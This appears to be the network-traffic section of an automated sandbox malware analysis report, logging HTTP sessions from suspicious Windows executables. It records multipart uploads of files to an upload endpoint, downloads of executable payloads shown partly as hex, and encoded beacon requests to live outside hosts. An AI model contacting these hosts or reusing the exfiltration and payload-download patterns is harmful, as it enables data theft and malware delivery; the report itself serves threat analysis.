Sep 29, 2024 00:53:46.193914890 CEST	3708	OUT	Data Raw: eb bd b9 b3 35 e7 3a a4 d0 4c 09 ae 4b f0 8f e2 55 f5 47 54 3f aa b9 6c 57 b8 92 69 6c 76 c5 a6 ee b4 b5 ed 98 a6 1e de ab 3f d3 34 f5 28 4e 04 17 1a 5c 8b 7a 53 34 b5 50 c4 e0 99 e0 4c 02 7d e7 42 46 f3 e6 e4 e2 13 e0 d8 7d f5 8b b4 c5 92 86 b5 Data Ascii: 5:LKUGT?lWilv?4(N\zS4PL}BF}UDa89ej$4{rp38ApO}1dAT[V]_>neNZyON/JX\|55$c\.&a'!Ac8K`?RJf
Sep 29, 2024 00:53:46.193943024 CEST	7416	OUT	Data Raw: 24 bb 7e 7e 69 64 72 43 11 b7 55 a7 0c f3 9e 77 20 e3 67 2b 65 66 1d ce cd 01 cc 64 f2 e7 db 3e 69 bc b8 00 0f 9d 91 36 8e 58 c7 bc 1c 56 64 15 73 4e 39 2d b3 4e 53 f5 a3 c7 da c0 d8 67 c3 98 51 d5 eb 40 5f 8f fa d8 4b 5a bf 70 2b b7 c2 6f 73 1a Data Ascii: $~~idrCUw g+efd>i6XVdsN9-NSgQ@_KZp+osni'ybx'Rh%Ey3x3g8Rlt/ )Gx%3A\k#F1{2&gV(? h+$=W?AW^{I<@:;$:[NiP~!0m]Y:
Sep 29, 2024 00:53:46.195913076 CEST	2472	OUT	Data Raw: d2 8c 49 8f 24 cb 43 40 ea 19 38 27 a8 09 75 ed e4 5d cd 73 e8 36 65 ff d0 5c 7f b5 2b d6 ac 07 a3 99 1d e4 c4 6b e1 c8 21 37 74 d8 d2 ab a7 84 5d b6 d7 15 b7 e7 41 5f 5a 5b 02 3b 19 60 26 0e 1c 4d 1a b0 7a bb a6 78 a7 34 ba da b0 3d b3 ba 3f 09 Data Ascii: I$C@8'u]s6e\+k!7t]A_Z[;`&Mzx4=?QFe\J#mqi[PYhA[ts#{q'<O[U*F,NVC1"CYgA]tX5(Fdc1`94W~J90.]~F@-f6U{"B42<C!Wv
Sep 29, 2024 00:53:46.195947886 CEST	2472	OUT	Data Raw: cc 08 c1 4a ca be 96 df a5 0a 8e 6b 5d 25 42 f4 32 b0 f3 47 47 4c 59 da 94 0e 9a e8 2d 88 02 ae 2e 62 64 c8 da 7e 3c 56 10 63 32 ef c5 f0 b8 22 4c 82 5d 4c 15 22 8c c7 01 a7 e5 e0 fb b7 91 a4 eb 5f 9a e1 c7 33 10 51 51 86 42 2c 31 12 95 9f d2 a7 Data Ascii: Jk]%B2GGLY-.bd~<Vc2"L]L"_3QQB,1%[spi\!]!p1vU6F[ms2yd2,,4k,jZmms(Cz\|a}S1B4{hnHlm3w8MA_/bLg/\|XcV$
Sep 29, 2024 00:53:46.195966005 CEST	2472	OUT	Data Raw: 84 5d 7d 82 00 82 b8 c6 d2 81 dd bd 13 1e 34 d7 40 13 21 72 c7 df a3 e0 92 78 c8 17 1e e3 f6 5e dd 5d 32 86 61 93 17 92 ea de 4e 4d f8 75 da 94 e4 a9 e5 61 11 24 9c 94 cc 30 f9 71 c2 0e 43 3e 88 7b bd f2 2b 6d 60 2c 75 01 57 36 58 99 67 4b 1a 83 Data Ascii: ]}4@!rx^]2aNMua$0qC>{+m`,uW6XgK#2`SOqO!C_iZFKERb)DH9NVIaFhu%@om(ZExH"Z. -,=_i3^oK
Sep 29, 2024 00:53:46.195985079 CEST	3708	OUT	Data Raw: fe b3 96 46 cb a0 3e f9 a5 e9 c3 99 ae 2e cb 6d fe 53 53 99 d8 44 62 cf 20 fc 0d c9 44 04 70 69 cd c9 1b 08 25 75 70 4d 1c 20 6a 82 e9 66 37 59 d7 0a 86 a3 4c b1 78 2b 9f f6 a8 93 6e 9c 1d 99 89 a9 51 4d 28 4f 28 1a 6b 3a 51 36 8c 9e 20 5a a1 26 Data Ascii: F>.mSSDb Dpi%upM jf7YLx+nQM(O(k:Q6 Z&\/L_)K{kfan0MU}/ )fU_#L%erjhckH^hF)$#<.N4#i,P\|66o%g?#zcm6f1h\T
Sep 29, 2024 00:53:46.201355934 CEST	3708	OUT	Data Raw: aa 00 33 cb 28 3f 93 56 76 56 23 51 59 b0 a8 41 84 4e 8e a3 9f eb f8 13 86 f6 bf 8c d4 ed 45 23 7c dc 02 97 6d 3f 6c 9a 8c a7 b5 c0 44 93 dd 0a 45 a5 ab be 39 33 b0 75 d6 f6 02 2b 07 68 85 ba b9 3b 6b fd 58 39 72 1d 8f 8b a5 15 b3 bc b1 e1 11 3e Data Ascii: 3(?VvV#QYANE#\|m?lDE93u+h;kX9r>[7w;T.,rDj,/S>\|1a(k$3*2afmwtJUzd=C$iVDS/jN+3A\|tWSYC+TsQp9([PuQUn
Sep 29, 2024 00:53:46.201385021 CEST	3708	OUT	Data Raw: 02 cd 66 b2 56 f4 05 a5 51 76 6a b0 27 50 05 42 e5 71 a8 38 f2 d2 d6 2c 1a 35 39 a3 ad 75 27 2a a4 a0 08 75 ca 54 96 56 f1 5b 00 18 8e 29 54 0f bc 3e ea 4f 8e d2 ba c9 4b 70 fb 04 7f 65 c5 83 45 09 22 57 11 f6 33 89 bd e7 88 a2 e4 c7 93 0f 9d eb Data Ascii: fVQvj'PBq8,59u'uTV[)T>OKpeE"W3xOft5vBz">b0Mo=+<aQxCF/&<:dZQcz,x-xBaDHt_5WYwcDIxY$G2
Sep 29, 2024 00:53:46.201396942 CEST	1236	OUT	Data Raw: 0f 4a 26 36 dd 4b cc f8 a7 84 5d 26 70 20 64 d7 c2 1c 06 11 99 d1 c9 bf a8 d9 30 82 5e 20 d2 bf e8 d9 8a f3 0b 65 7b 62 1f 63 6e 44 c9 ff 91 53 7a 79 d2 e5 67 64 10 58 8d e1 a7 22 56 f4 0c 4a 63 81 1c 3b cd 60 07 81 d5 2f d7 8b 8e 91 e5 68 30 47 Data Ascii: J&6K]&p d0^ e{bcnDSzygdX"VJc;`/h0GPc^vY vZ4?g3v&\|mZhC[))!ntfNkeY%CNAc80\|*!o];{XM9`s6-=6;VY1+]Zw]
Sep 29, 2024 00:53:47.142663002 CEST	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Sat, 28 Sep 2024 22:53:47 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49727	84.38.182.221	80	7876	C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:53:50.430649996 CEST	334	OUT	POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary13378488 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 32239 Host: fivevh5pt.top
Sep 29, 2024 00:53:50.430728912 CEST	11124	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 31 33 33 37 38 34 38 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 44 75 62 Data Ascii: ------Boundary13378488Content-Disposition: form-data; name="file"; filename="Dubuhej.bin"Content-Type: application/octet-streamUtZaiMUB6<\|)?t7bO'2=]EKy5q%z<8n_35?cZKELV\:\|4<s-
Sep 29, 2024 00:53:50.437635899 CEST	1236	OUT	Data Raw: 31 47 10 fd 47 d2 9b 8e 61 43 e7 c8 2c 45 df 00 2b fa 11 39 d4 7d ba f1 4c 91 ff 0e 01 e9 e5 9e 23 2f 2e 89 a8 6b 45 b8 9e 05 e8 d4 a1 f8 11 ab bf 3e d9 8b 2c 9a 1a cd 17 c6 f6 24 20 ab 6d d2 4f 0e fb df fa 44 f7 de e3 ad 30 58 fa c5 b4 cf 09 38 Data Ascii: 1GGaC,E+9}L#/.kE>,$ mOD0X8v#gIL&T9?sbOekV9WfvdhJx\|@oE^D@^9>^fuB/2k6kKq!z_nspHLUzn3PWV
Sep 29, 2024 00:53:50.437727928 CEST	4944	OUT	Data Raw: 69 c8 38 c9 c1 86 f0 49 a6 b3 ed 20 80 3e e8 f5 93 c1 04 30 17 0e fc 63 f2 4b fd 8a e3 61 10 bc 32 fd c5 51 31 53 ed 3a 50 f0 26 d2 c5 51 05 53 95 b1 c9 24 4b 4c b2 0e 4f 89 7d 3d de f2 e0 de 33 36 34 b5 58 d3 41 d5 2b 3a 90 77 14 44 c9 f6 c8 92 Data Ascii: i8I >0cKa2Q1S:P&QS$KLO}=364XA+:wDON^%3w6yOPmn:eEI%~tyIH`r\|d!T}qXr/1JHiR$WwDoT@-C(j~<Tmy,U5\
Sep 29, 2024 00:53:50.437752962 CEST	2472	OUT	Data Raw: f2 fd 2e 6b f6 3e fc ba 0d ba ff 99 4a 51 35 ae 8e c6 b6 bf cc e0 76 52 ee d2 74 38 f7 d5 81 88 48 92 e2 10 26 80 a0 46 a3 f4 ad 85 99 55 6d 73 c9 64 6f cd 01 a1 de 5a 24 43 c1 a7 0d 4e fe d6 b4 4b 3f db 3d 21 f8 11 35 b2 fb a3 b6 0c 73 fe 68 73 Data Ascii: .k>JQ5vRt8H&FUmsdoZ$CNK?=!5shsMJ"UvExvCBhxYM$>p{cJ5] MRFw"')CnP*?'`pp!I7QoQx5GZ
Sep 29, 2024 00:53:50.437767029 CEST	2472	OUT	Data Raw: b1 24 fd e6 51 25 27 7b ad a8 92 5e 0b 48 e2 0f 7b 60 f2 83 de cc e6 bf 78 d6 88 bc 77 b0 1a b3 5a f7 4c df 61 67 16 17 37 ff e2 19 0d 34 d7 18 5a 57 80 43 6d 26 ea 23 4c 97 7f ec e7 57 53 68 42 19 5c ac fc 71 89 3c 40 47 60 96 a2 e6 46 3a 7e 02 Data Ascii: $Q%'{^H{`xwZLag74ZWCm&#LWShB\q<@G`F:~B70#%Tlt%E,SK2ZDl%~q/\WJ99V{!^9XW$7}Iz]cYBWlCrv'D49E~0,%{.)hWV-y-#
Sep 29, 2024 00:53:50.440018892 CEST	7416	OUT	Data Raw: fa 0f b4 98 2a 12 df 66 35 c4 5b 17 2d 59 ae 9e e5 14 d6 9d 59 01 b1 b9 d8 cd ef 46 49 3a 6b 74 2b 03 2a b4 12 06 7f f4 e3 d3 26 78 c9 fc a5 25 85 65 34 ee 93 5f 51 e5 96 fb 56 e6 6d 90 9d d0 56 ef 63 a6 6f be c4 ff 11 49 09 27 32 13 d6 3b a8 a8 Data Ascii: f5[-YYFI:kt+&x%e4_QVmVcoI'2;CMu)LLKd0E^\|:^^Hw?ORb.K~KAZW AO"mVq5^?tXb6.PR&LR2J0]m
Sep 29, 2024 00:53:50.440054893 CEST	2575	OUT	Data Raw: 5d b8 e2 e1 43 28 17 3c ba f6 59 79 e7 b2 eb 15 bc 19 34 78 0d c2 5d eb ba 09 47 38 c8 cb 67 b9 26 96 8c 32 c5 05 11 1e 03 55 00 64 1c 31 05 51 9d ca 32 e4 36 a8 99 df 67 80 eb 26 1b fd ac 2f a6 38 cd fd 72 5d f9 d7 d6 e2 5f 18 79 86 ea ea e1 ca Data Ascii: ]C(<Yy4x]G8g&2Ud1Q26g&/8r]_y$zHvD.\CAFal.,!Z1Y%2*,-&:z9wAASnfGoc$~p%>!IQZh]XU)Y-1u:k"
Sep 29, 2024 00:53:50.465167046 CEST	1236	OUT	Data Raw: 4d ac b3 49 b5 d4 34 5c 13 27 25 d7 38 ed 35 f8 b8 d9 14 6d 7a 83 db ed 4c c7 01 29 48 c4 80 dc d3 2f e6 da 6f b8 66 02 0c e4 22 37 2d 06 6f 33 c8 66 46 9b 5c 7d 48 e5 2b 53 7c df c2 8e 7c e4 15 fe 43 3f ef d4 51 24 cd 94 11 c4 2f fc 8f 2f 2e 11 Data Ascii: MI4\'%85mzL)H/of"7-o3fF\}H+S\|\|C?Q$//.g)A'_?e26.2P_oKgU(Jl_^;uKFbicczTd\|Txeq_qNqd,9*hS.iz}z/yt25
Sep 29, 2024 00:53:51.234776974 CEST	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Sat, 28 Sep 2024 22:53:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49736	80.66.75.114	80	7916	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:16.682004929 CEST	393	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:54:17.436491966 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:54:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Sep 29, 2024 00:54:17.436508894 CEST	224	IN	Data Raw: 00 00 0a 28 76 00 00 0a 2a 8a 02 7b 23 00 00 04 02 7b 23 00 00 04 6f 77 00 00 0a 02 6f 78 00 00 0a 28 2b 00 00 06 6f 79 00 00 0a 2a a6 02 7b 1f 00 00 04 2c 0e 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2b 0c 02 02 7b 21 00 00 04 6f 6f 00 00 0a 02 28 32 Data Ascii: (v{#{#owox(+oy{,{ oo+{!oo(2z,{",{"o/(z((X[((X[((X[(q~(-(-(**~to(
Sep 29, 2024 00:54:17.436528921 CEST	1236	IN	Data Raw: 33 00 00 06 02 74 13 00 00 01 17 6f b6 00 00 0a 2a 5e 28 b9 00 00 0a 72 e4 11 00 70 1b 6f ba 00 00 0a 15 31 02 17 2a 16 2a 3e 02 fe 15 10 00 00 02 02 03 7d 25 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a Data Ascii: 3to^(rpo1>}%(Co(D(E}%(F(E(&>}(Co(D}(F(E(&">}4{Eorprpo(j};({=
Sep 29, 2024 00:54:17.436542034 CEST	1236	IN	Data Raw: 28 b7 00 00 06 2a 46 02 7b 63 00 00 04 6f ff 00 00 0a 74 11 00 00 01 2a 62 02 7b 63 00 00 04 03 6f 00 01 00 0a 02 73 fd 00 00 0a 6f e8 00 00 0a 2a 32 02 7b 64 00 00 04 6f 77 00 00 0a 2a 7e 02 7b 64 00 00 04 03 6f 79 00 00 0a 02 03 7d 5e 00 00 04 Data Ascii: (F{cotb{coso2{dow~{doy}^soF{dotb{doso2{eoN{eo(2{eoxR}[{eo{N>oo}N{X:}X
Sep 29, 2024 00:54:17.436553001 CEST	1236	IN	Data Raw: 00 0a 2a 86 02 7b 84 00 00 04 6f 39 01 00 0a 02 28 07 01 00 06 6f 40 01 00 0a 6f 36 00 00 0a 6f 54 00 00 0a 2a 1e 02 7b 80 00 00 04 2a b6 02 7b 84 00 00 04 6f 39 01 00 0a 6f 42 01 00 0a 02 16 8d 65 00 00 01 7d 80 00 00 04 02 7b 83 00 00 04 72 a8 Data Ascii: {o9(o@o6oT{{o9oBe}{rpo2{o6{o2{of{o{oZ{orp(J{oo{6{o2{o*6{o
Sep 29, 2024 00:54:17.436567068 CEST	1236	IN	Data Raw: 04 02 72 a8 0f 00 70 7d af 00 00 04 02 73 6d 01 00 0a 7d b0 00 00 04 02 28 1f 00 00 0a 02 03 7d ae 00 00 04 2a 56 02 1f 0a 7d b1 00 00 04 02 28 7d 00 00 0a 02 28 8d 01 00 06 2a 1e 02 7b b1 00 00 04 2a 22 02 03 7d b1 00 00 04 2a 1e 02 7b b2 00 00 Data Ascii: rp}sm}(}V}(}({"}{"}{,(w}{(y{((t{,{(y((u{,{(y((*z,{,{o/(v
Sep 29, 2024 00:54:17.436587095 CEST	896	IN	Data Raw: 02 6f 78 00 00 0a 6f 92 00 00 0a 2a 32 02 7b d7 00 00 04 6f bd 00 00 0a 2a 36 02 7b d7 00 00 04 03 6f c1 00 00 0a 2a 32 02 7b d7 00 00 04 6f 7c 01 00 0a 2a 36 02 7b d7 00 00 04 03 6f 7d 01 00 0a 2a 32 02 7b d7 00 00 04 6f 7e 01 00 0a 2a 36 02 7b Data Ascii: oxo2{o6{o2{o\|6{o}2{o~6{o6{o&v{rpo{o&>{(z,{,{o/(z*}{{(){{(){{()
Sep 29, 2024 00:54:17.436682940 CEST	1236	IN	Data Raw: 02 00 06 28 2b 00 00 06 7d ff 00 00 04 02 28 4d 02 00 06 2a 1e 02 7b fe 00 00 04 2a b6 02 03 7d fe 00 00 04 02 6f a0 01 00 0a 2c 17 02 02 6f a0 01 00 0a 02 28 50 02 00 06 28 2b 00 00 06 7d 00 01 00 04 02 28 4d 02 00 06 2a 7a 03 2c 13 02 7b 01 01 Data Ascii: (+}(M{}o,o(P(+}(Mz,{,{o/(z{:}(m{:}(m{:}(m{:}(m{{:}(m{:}
Sep 29, 2024 00:54:17.436686993 CEST	1236	IN	Data Raw: 00 04 2a 66 02 03 7d 29 01 00 04 02 7b 2c 01 00 04 02 7b 29 01 00 04 28 29 00 00 06 2a 1e 02 7b 29 01 00 04 2a 1e 02 7b 25 01 00 04 2a aa 02 03 7d 25 01 00 04 02 7b 2c 01 00 04 02 28 9a 00 00 0a 1f 0f 59 02 7b 26 01 00 04 5a 02 7b 25 01 00 04 5b Data Ascii: f}){,{)(){){%}%{,(Y{&Z{%[o6{,oo2{,o6{+oo2{+oz,{,{o/(z6(&(R(&o(z,{-,{-o/(2
Sep 29, 2024 00:54:17.436716080 CEST	1236	IN	Data Raw: 19 01 00 0a 02 28 3f 03 00 06 2a 22 02 03 7d 57 01 00 04 2a 1e 02 7b 59 01 00 04 2a 22 02 03 7d 59 01 00 04 2a 4a 02 7b 57 01 00 04 02 7b 58 01 00 04 6f ce 01 00 0a 2a 7a 03 2c 13 02 7b 5b 01 00 04 2c 0b 02 7b 5b 01 00 04 6f 2f 00 00 0a 02 03 28 Data Ascii: (?"}W{Y"}YJ{W{Xoz,{[,{[o/(rpr,p(BrprHp(B(9VrRprprp(AVrp]~^>9}_(Co(D(E}_(F(E(&*>:}
Sep 29, 2024 00:54:17.444013119 CEST	1236	IN	Data Raw: 04 2a 22 02 03 7d a4 01 00 04 2a 46 02 03 04 05 28 b4 03 00 06 02 03 28 bc 03 00 06 2a 46 02 03 04 05 28 b6 03 00 06 02 03 28 bc 03 00 06 2a 3e 02 03 28 b9 03 00 06 02 03 28 bc 03 00 06 2a 46 00 2b 05 28 af 01 00 0a 02 28 a1 03 00 06 2c f3 2a 7a Data Ascii: "}F((F((>((F+((,z{,{o"oz{,{o#o{o(,{o)o,*u{"}{J{{(F(uN
Sep 29, 2024 00:54:18.003607988 CEST	393	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 80.66.75.114 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 00:54:18.349829912 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 22:54:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49749	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 00:54:29.576416969 CEST	317	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa19e8889b5e4fa9281ae978f771ea771795af8e05c444db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf814c6eb959d3e HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:30.282582998 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 34 39 36 0d 0a 36 37 62 36 38 61 38 61 33 32 30 33 61 37 37 62 30 34 31 38 66 35 35 66 36 37 37 63 38 31 63 34 35 39 66 65 38 62 64 32 65 39 31 66 31 65 66 35 61 32 35 63 65 39 31 35 38 35 62 63 63 66 62 35 66 62 63 34 30 61 64 39 30 38 38 62 65 38 64 65 32 32 36 36 65 32 30 38 61 36 62 62 39 64 35 39 32 64 65 62 37 36 35 62 62 33 37 34 66 30 36 37 62 37 33 32 35 36 63 30 65 30 64 35 30 65 63 61 34 32 63 64 37 64 62 30 31 62 66 39 33 36 39 34 32 34 65 35 30 65 61 34 36 37 63 31 34 64 62 61 65 33 34 62 65 37 35 62 37 66 34 33 65 63 32 66 36 35 39 34 33 39 37 39 38 39 66 39 30 66 63 31 65 64 39 63 38 34 33 32 63 64 36 35 39 37 31 36 64 38 35 30 38 34 32 62 62 37 35 66 61 64 65 62 35 66 32 32 66 33 37 39 64 37 66 65 36 37 62 64 38 61 65 35 64 30 34 61 65 36 33 65 63 32 31 31 33 35 34 33 35 39 32 36 66 64 32 34 37 32 30 64 37 38 62 65 65 39 38 37 66 64 38 36 32 64 35 31 65 64 35 61 37 65 33 66 66 63 32 62 34 33 66 35 66 64 65 33 39 32 66 62 33 65 37 66 61 65 65 63 34 37 39 32 38 34 66 30 37 63 32 32 30 [TRUNCATED] Data Ascii: 49667b68a8a3203a77b0418f55f677c81c459fe8bd2e91f1ef5a25ce91585bccfb5fbc40ad9088be8de2266e208a6bb9d592deb765bb374f067b73256c0e0d50eca42cd7db01bf9369424e50ea467c14dbae34be75b7f43ec2f6594397989f90fc1ed9c8432cd659716d850842bb75fadeb5f22f379d7fe67bd8ae5d04ae63ec21135435926fd24720d78bee987fd862d51ed5a7e3ffc2b43f5fde392fb3e7faeec479284f07c220dbf69f19cceac63d76104283164a751cbc3af3830bbcf0da601b8ab38b9c5cb307f2e08cd39e30decd5b6194ad23516c455dbf86a9f33b19540a3e3d1b6c13e20b479bded0a90a3bd6d5ba386ea23adfb9b8717e51ee05a804c67ceb1c7e3dd4379a39aed24ae748a0536ab22d433d99a1ecc5bab37030253c9df645f3b52658ef48c342e604d0ecec4b10e11fcd0b2ecdd347f70e63a81dc040d5e9caecd1d4e4cde79755a3345e2d8d0d2f1ca5a823d6947e07d3c8622b2cf937f8155c98e3e1d0b6883f69be3060da52e80dc127303d636cbfc8f0a762b759d2b03ed544c7b678647dbb1a6f935abd8dc195b9324ce48538db2dc64da5425b56de13325b17a815718c5a5a4ae6facc80e8c4cd6dcd54aab11a942f1a8ba609bae2ea126311236c28b661eeda7d54c75e0243d2a1413dc2fb445a41b8c40d8a7d6904af3478980b0cb2306cc2527ba815bc14f06024cd [TRUNCATED]
Sep 29, 2024 00:54:30.282594919 CEST	146	IN	Data Raw: 66 66 35 62 35 31 64 63 39 65 64 37 39 62 32 65 31 65 32 66 34 31 37 32 31 37 38 64 62 31 66 63 36 63 39 31 34 62 38 35 63 66 64 35 35 32 61 37 38 62 31 64 62 34 34 61 34 39 61 34 31 34 34 37 64 61 61 61 33 36 63 39 62 39 34 63 36 38 33 64 35 61 Data Ascii: ff5b51dc9ed79b2e1e2f4172178db1fc6c914b85cfd552a78b1db44a49a41447daaa36c9b94c683d5a632cf996d47735879e1783fa2e3abffef381fd6a8cb9a53f8f9b64a090
Sep 29, 2024 00:54:33.505148888 CEST	325	OUT	GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1 Host: ejrsoyz.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 29, 2024 00:54:33.789092064 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sat, 28 Sep 2024 22:54:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49761	185.208.158.248	80	8056	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Timestamp	Bytes transferred	Direction	Data
